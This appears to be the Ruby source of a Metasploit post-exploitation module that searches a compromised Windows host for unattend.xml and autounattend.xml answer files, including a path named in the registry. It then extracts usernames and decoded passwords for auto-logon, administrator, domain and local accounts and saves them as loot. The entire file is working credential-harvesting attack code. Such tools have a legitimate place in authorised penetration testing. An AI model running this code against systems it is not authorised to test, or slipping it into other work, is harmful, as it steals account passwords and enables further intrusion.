## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/file' require 'rex/parser/unattend' require 'rexml/document' class Metasploit3 < Msf::Post include Msf::Post::File def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Unattended Answer File Enumeration', 'Description' => %q{ This module will check the file system for a copy of unattend.xml and/or autounattend.xml found in Windows Vista, or newer Windows systems. And then extract sensitive information such as usernames and decoded passwords. }, 'License' => MSF_LICENSE, 'Author' => [ 'Sean Verity ', 'sinn3r', 'Ben Campbell ' ], 'References' => [ ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) register_options( [ OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true]) ], self.class) end # # Determine if unattend.xml exists or not # def unattend_exists?(xml_path) x = session.fs.file.stat(xml_path) rescue nil return !x.nil? end # # Read and parse the XML file # def load_unattend(xml_path) print_status("Reading #{xml_path}") f = session.fs.file.new(xml_path) raw = "" until f.eof? raw << f.read end begin xml = REXML::Document.new(raw) rescue REXML::ParseException => e print_error("Invalid XML format") vprint_line(e.message) return nil, raw end return xml, raw end # # Save Rex tables separately # def save_cred_tables(cred_tables) cred_tables.each do |t| vprint_line("\n#{t.to_s}\n") p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header) print_status("#{t.header} saved as: #{p}") end end # # Save the raw version of unattend.xml # def save_raw(xmlpath, data) return if data.empty? fname = ::File.basename(xmlpath) p = store_loot('windows.unattended.raw', 'text/plain', session, data) print_status("Raw version of #{fname} saved as: #{p}") end # # If we spot a path for the answer file, we should check it out too # def get_registry_unattend_path # HKLM\System\Setup!UnattendFile begin key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM') fname = key.query_value('Setup!UnattendFile').data return fname rescue Rex::Post::Meterpreter::RequestError return '' end end # # Initialize all 7 possible paths for the answer file # def init_paths drive = session.fs.file.expand_path("%SystemDrive%") files = [ 'unattend.xml', 'autounattend.xml' ] target_paths = [ "#{drive}\\", "#{drive}\\Windows\\System32\\sysprep\\", "#{drive}\\Windows\\panther\\", "#{drive}\\Windows\\Panther\Unattend\\", "#{drive}\\Windows\\System32\\" ] paths = [] target_paths.each do |p| files.each do |f| paths << "#{p}#{f}" end end # If there is one for registry, we add it to the list too reg_path = get_registry_unattend_path paths << reg_path if not reg_path.empty? return paths end def run init_paths.each do |xml_path| # If unattend.xml doesn't exist, move on to the next one if not unattend_exists?(xml_path) vprint_error("#{xml_path} not found") next end xml, raw = load_unattend(xml_path) save_raw(xml_path, raw) # XML failed to parse, will not go on from here return if not xml results = Rex::Parser::Unattend.parse(xml) tables = create_display_tables(results) # Save the data save_cred_tables(tables.flatten) if not tables.empty? return if not datastore['GETALL'] end end def create_display_tables(results) tables = [] wds_table = Rex::Ui::Text::Table.new({ 'Header' => 'WindowsDeploymentServices', 'Indent' => 1, 'Columns' => ['Domain', 'Username', 'Password'] }) autologin_table = Rex::Ui::Text::Table.new({ 'Header' => 'AutoLogon', 'Indent' => 1, 'Columns' => ['Domain', 'Username', 'Password'] }) admin_table = Rex::Ui::Text::Table.new({ 'Header' => 'AdministratorPasswords', 'Indent' => 1, 'Columns' => ['Username', 'Password'] }) domain_table = Rex::Ui::Text::Table.new({ 'Header' => 'DomainAccounts', 'Indent' => 1, 'Columns' => ['Username', 'Group'] }) local_table = Rex::Ui::Text::Table.new({ 'Header' => 'LocalAccounts', 'Indent' => 1, 'Columns' => ['Username', 'Password'] }) results.each do |result| unless result.empty? case result['type'] when 'wds' wds_table << [result['domain'], result['username'], result['password']] when 'auto' autologin_table << [result['domain'], result['username'], result['password']] when 'admin' admin_table << [result['username'], result['password']] when 'domain' domain_table << [result['username'], result['group']] when 'local' local_table << [result['username'], result['password']] end end end tables << autologin_table tables << admin_table tables << domain_table tables << local_table return tables end end